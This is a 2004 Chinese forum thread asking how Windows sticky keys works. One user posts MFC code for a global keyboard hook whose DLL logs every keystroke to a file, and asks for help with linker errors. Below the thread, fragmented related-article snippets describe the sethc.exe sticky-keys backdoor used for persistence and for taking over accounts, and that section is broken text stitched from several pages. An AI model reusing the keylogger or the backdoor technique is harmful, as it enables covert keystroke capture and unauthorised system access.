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window的粘滞键是如何实现的?
abctop321
2004-11-30 04:17:11
我也想做一个,用hook好像不行,我又不会其他可以看系统运作的工具。
郁闷中
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window的粘滞键是如何实现的?
我也想做一个,用hook好像不行,我又不会其他可以看系统运作的工具。 郁闷中
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abctop321
2004-12-02
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我做的hook帮我看看,老师出错,用vc++.net做的。
================================================================
MainFrm.cpp文件:
// MainFrm.cpp : CMainFrame 类的实现
//
#include "stdafx.h"
#include "jsdl.h"
#include "MainFrm.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
extern "C" __declspec(dllimport) HHOOK hHook;//extern "C" __declspec(dllimport)
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
// CMainFrame
IMPLEMENT_DYNAMIC(CMainFrame, CFrameWnd)
BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)
ON_WM_CREATE()
ON_WM_SETFOCUS()
END_MESSAGE_MAP()
static UINT indicators[] =
{
ID_SEPARATOR, // 状态行指示器
ID_INDICATOR_CAPS,
ID_INDICATOR_NUM,
ID_INDICATOR_SCRL,
};
// CMainFrame 构造/销毁
CMainFrame::CMainFrame()
{
hHook=SetWindowsHookEx(WH_KEYBOARD,
KeyboardProc,
GetModuleHandle("data.dll"),
0);
// TODO:在此添加成员初始化代码
}
CMainFrame::~CMainFrame()
{
if(hHook)
UnhookWindowsHookEx(hHook);
}
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CFrameWnd::OnCreate(lpCreateStruct) == -1)
return -1;
// 创建一个视图以占用框架的工作区
if (!m_wndView.Create(NULL, NULL, AFX_WS_DEFAULT_VIEW,
CRect(0, 0, 0, 0), this, AFX_IDW_PANE_FIRST, NULL))
{
TRACE0("未能创建视图窗口\n");
return -1;
}
if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
{
TRACE0("未能创建工具栏\n");
return -1; // 未能创建
}
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT)))
{
TRACE0("未能创建状态栏\n");
return -1; // 未能创建
}
// TODO: 如果不需要工具栏可停靠,则删除这三行
m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);
EnableDocking(CBRS_ALIGN_ANY);
DockControlBar(&m_wndToolBar);
return 0;
}
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
if( !CFrameWnd::PreCreateWindow(cs) )
return FALSE;
// TODO: 在此处通过修改 CREATESTRUCT cs 来修改窗口类或
// 样式
cs.dwExStyle &= ~WS_EX_CLIENTEDGE;
cs.lpszClass = AfxRegisterWndClass(0);
return TRUE;
}
// CMainFrame 诊断
#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
CFrameWnd::AssertValid();
}
void CMainFrame::Dump(CDumpContext& dc) const
{
CFrameWnd::Dump(dc);
}
#endif //_DEBUG
// CMainFrame 消息处理程序
void CMainFrame::OnSetFocus(CWnd* /*pOldWnd*/)
{
// 将焦点前移到视图窗口
m_wndView.SetFocus();
}
BOOL CMainFrame::OnCmdMsg(UINT nID, int nCode, void* pExtra, AFX_CMDHANDLERINFO* pHandlerInfo)
{
// 让视图第一次尝试该命令
if (m_wndView.OnCmdMsg(nID, nCode, pExtra, pHandlerInfo))
return TRUE;
// 否则,执行默认处理
return CFrameWnd::OnCmdMsg(nID, nCode, pExtra, pHandlerInfo);
}
================================================================
dll文件代码:
// data.cpp : 定义 DLL 的初始化例程。
//
#include "stdafx.h"
#include "data.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//
// 注意!
//
// 如果此 DLL 动态链接到 MFC
// DLL,从此 DLL 导出并
// 调入 MFC 的任何函数在函数的最前面
// 都必须添加 AFX_MANAGE_STATE 宏。
//
// 例如:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // 此处为普通函数体
// }
//
// 此宏先于任何 MFC 调用
// 出现在每个函数中十分重要。这意味着
// 它必须作为函数中的第一个语句
// 出现,甚至先于所有对象变量声明,
// 这是因为它们的构造函数可能生成 MFC
// DLL 调用。
//
// 有关其他详细信息,
// 请参阅 MFC 技术说明 33 和 58。
//
// CdataApp
#pragma data_seg("SharedVar")
//DLL输出的全局变量
extern "C" __declspec(dllexport) HHOOK hHook=NULL;
#pragma data_seg()
// DLL 自用的全局变量
char buffer=0;
FILE *fl;
//定义全局的键盘勾子函数:
//DLL输出的勾子函数
extern "C" __declspec(dllexport)
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam, //虚键代码
LPARAM lParam // 击键消息的信息
)
{
if(lParam&0x80000000)
{//如果某键按下
buffer=MapVirtualKey(wParam,2);
// 把虚键代码变为字符
//输出到文件
fl=fopen( "keyfile.txt", "a+" );
fwrite(&buffer, sizeof(char), 1, fl);
fclose(fl);
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
BEGIN_MESSAGE_MAP(CdataApp, CWinApp)
END_MESSAGE_MAP()
// CdataApp 结构
CdataApp::CdataApp()
{
// TODO: 在此添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}
// 唯一的 CdataApp 对象
CdataApp theApp;
// CdataApp 初始化
BOOL CdataApp::InitInstance()
{
CWinApp::InitInstance();
return TRUE;
}
全是仿照一个htm教程所作,出错了调不了,我是新手。
错误:
1、jsdl error LNK2001: 无法解析的外部符号 __imp__hHook
2、jsdl error LNK2019: 无法解析的外部符号 "long __stdcall KeyboardProc(int,unsigned int,long)" (?KeyboardProc@@YGJHIJ@Z) ,该符号在函数 "public: __thiscall CMainFrame::CMainFrame(void)" (??0CMainFrame@@QAE@XZ) 中被引用
3、jsdl fatal error LNK1120: 2 个无法解析的外部命令
在线等待...
sherry1127
2004-12-02
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弱弱的问,什么叫粘滞键啊
somedummy
2004-11-30
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Hook怎么会不行呢?你不会是用了键盘钩子而不是底层键盘钩子吧?
其它的我只知道键盘驱动可以解决这样的问题,再其它的就不知道了
Window
权限维持(十二):辅助功能1
通过辅助功能
实现
持久性的最简单方法是用合法的cmd.exe或任何其他有效负载替换
粘滞
键
持久性–
粘滞
键
二进制替换按住Shift
键
5次将启用
粘滞
键
,并且将执行恶意s
Window
s
键
盘输入异常?可能是“筛选
键
”或“
粘滞
键
”搞的鬼!(完整排查指南)
功能触发方式常见症状解决方法筛选
键
按住Shift超过 8 秒删除
键
失效、打字卡顿关闭“筛选
键
”
粘滞
键
快速按Shift5 次快捷
键
失效、按
键
卡顿关闭“
粘滞
键
”
Window
s 的辅助功能本意是帮助用户,但如果不小心触发,反而会带来困扰。尤其是“筛选
键
”和“
粘滞
键
”,它们非常容易被误按激活,导致
键
盘输入异常。
使用
粘滞
键
修改
window
s密码
Window
s系统的
粘滞
键
功能由sethc.exe程序
实现
,该文件位于C:\
Window
s\System32目录。通过WinPE环境,可用cmd.exe替换sethc.exe文件。当连续按5次Shift
键
时,系统会调用被替换的cmd.exe程序,从而获得命令行界面。利用此方法可进行密码修改或创建新的管理员账户,常用于系统密码恢复场景。这种操作需要管理员权限才能完成文件替换。
win7环境下利用shift
粘滞
键
漏洞获得用户密码(图文步骤)
在win7种本地利用shift五次
粘滞
键
功能获得密码 1、在未登录系统时,连续按5次shift
键
,弹出程序c:\
window
s\system32\sethc.exe 2、部分win7及win10系统在未进入系统时,可以通过系统修复漏洞篡改系统文件名! 注:如win7或win10系统已修补漏洞2,则无法利用 1.2破解过程相关知识 1、cmd工具路径 c:\
window
s\system32\cmd 2、用户/账户密码存储位置 c:\
window
s\system32\config\SAM # 非逆转型加密、使用
终极
粘滞
键
指南:GLFW如何优雅解决特殊输入需求
在现代软件开发中,处理用户输入是构建交互式应用的核心挑战之一。GLFW作为一个跨平台的多媒体库,专门为OpenGL、OpenGL ES和Vulkan应用程序提供窗口管理和输入处理功能。今天我们将深入探讨GLFW的
粘滞
键
机制,这一特性为有特殊输入需求的用户提供了完美的解决方案。 ## 什么是
粘滞
键
?为什么它如此重要?
粘滞
键
(Sticky Keys)是一种辅助功能,允许用户按顺序按下组合
键
,而不
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